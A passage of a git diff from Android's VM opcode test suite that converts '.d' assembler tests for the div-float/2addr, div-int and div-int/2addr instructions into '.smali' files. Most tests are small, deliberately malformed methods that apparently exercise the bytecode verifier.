-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_float_2addr_4.java
-.class public dot.junit.opcodes.div_float_2addr.d.T_div_float_2addr_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)F
-.limit regs 8
-
-       div-float/2addr v5, v7
-       return v6
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_4.smali
new file mode 100644
index 0000000..0688942
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_float_2addr_4.java"
+.class  public Ldot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 8
+
+       div-float/2addr v5, v7
+       return v6
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_5.d
deleted file mode 100644
index 2f5a998..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_5.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_float_2addr_5.java
-.class public dot.junit.opcodes.div_float_2addr.d.T_div_float_2addr_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IF)F
-.limit regs 8
-       div-float/2addr v6, v7
-       return v6
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_5.smali
new file mode 100644
index 0000000..6cd98ea
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_5.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_float_2addr_5.java"
+.class  public Ldot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IF)F
+.registers 8
+       div-float/2addr v6, v7
+       return v6
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_6.d
deleted file mode 100644
index ed354e3..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_6.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_float_2addr_6.java
-.class public dot.junit.opcodes.div_float_2addr.d.T_div_float_2addr_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)F
-.limit regs 8
-       div-float/2addr v6, v8
-       return v6
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_6.smali
new file mode 100644
index 0000000..561640a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_6.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_float_2addr_6.java"
+.class  public Ldot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 8
+       div-float/2addr v6, v8
+       return v6
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_1.d
deleted file mode 100644
index aaaf0a3..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_1.java
-.class public dot.junit.opcodes.div_int.d.T_div_int_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       div-int v0, v2, v3
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_1.smali
new file mode 100644
index 0000000..537483c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_1.java"
+.class  public Ldot/junit/opcodes/div_int/d/T_div_int_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       div-int v0, v2, v3
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_2.d
deleted file mode 100644
index 8fb324c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_2.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_2.java
-.class public dot.junit.opcodes.div_int.d.T_div_int_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       const-wide v1, 3.1415
-       div-int v0, v3, v1
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_2.smali
new file mode 100644
index 0000000..872b717
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_2.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_2.java"
+.class  public Ldot/junit/opcodes/div_int/d/T_div_int_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       const-wide v1, 3.1415
+       div-int v0, v3, v1
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_3.d
deleted file mode 100644
index 446cc2c8..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_3.java
-.class public dot.junit.opcodes.div_int.d.T_div_int_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       const-wide v1, 31415
-       div-int v0, v1, v3
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_3.smali
new file mode 100644
index 0000000..a71851a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_3.java"
+.class  public Ldot/junit/opcodes/div_int/d/T_div_int_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       const-wide v1, 31415
+       div-int v0, v1, v3
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_4.d
deleted file mode 100644
index c476934..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_4.java
-.class public dot.junit.opcodes.div_int.d.T_div_int_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       div-int v0, v1, v3
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_4.smali
new file mode 100644
index 0000000..50ecf8b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_4.java"
+.class  public Ldot/junit/opcodes/div_int/d/T_div_int_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       div-int v0, v1, v3
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_5.d
deleted file mode 100644
index ad4c79c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_5.java
-.class public dot.junit.opcodes.div_int.d.T_div_int_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IF)I
-.limit regs 4
-
-       div-int v0, v2, v3
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_5.smali
new file mode 100644
index 0000000..8fada6f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_5.java"
+.class  public Ldot/junit/opcodes/div_int/d/T_div_int_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IF)I
+.registers 4
+
+       div-int v0, v2, v3
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_6.d
deleted file mode 100644
index 6da816d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_6.java
-.class public dot.junit.opcodes.div_int.d.T_div_int_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       div-int v0, v2, v4
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_6.smali
new file mode 100644
index 0000000..fcb1b05
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_6.java"
+.class  public Ldot/junit/opcodes/div_int/d/T_div_int_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       div-int v0, v2, v4
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_1.d
deleted file mode 100644
index 00b88e4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_2addr_1.java
-.class public dot.junit.opcodes.div_int_2addr.d.T_div_int_2addr_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       div-int/2addr v2, v3
-       return v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_1.smali
new file mode 100644
index 0000000..536bf64
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_2addr_1.java"
+.class  public Ldot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       div-int/2addr v2, v3
+       return v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_2.d
deleted file mode 100644
index 10e15fe..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_2.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_2addr_2.java
-.class public dot.junit.opcodes.div_int_2addr.d.T_div_int_2addr_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       const-wide v0, 3.1415
-       div-int/2addr v3, v0
-       return v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_2.smali
new file mode 100644
index 0000000..655e502
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_2.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_2addr_2.java"
+.class  public Ldot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       const-wide v0, 3.1415
+       div-int/2addr v3, v0
+       return v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_3.d
deleted file mode 100644
index 483865e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_2addr_3.java
-.class public dot.junit.opcodes.div_int_2addr.d.T_div_int_2addr_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       const-wide v0, 323231415
-       div-int/2addr v3, v0
-       return v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_3.smali
new file mode 100644
index 0000000..b5b5727
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_2addr_3.java"
+.class  public Ldot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       const-wide v0, 323231415
+       div-int/2addr v3, v0
+       return v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_4.d
deleted file mode 100644
index fbda213..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_2addr_4.java
-.class public dot.junit.opcodes.div_int_2addr.d.T_div_int_2addr_4
-.super java/lang/Object
-
-
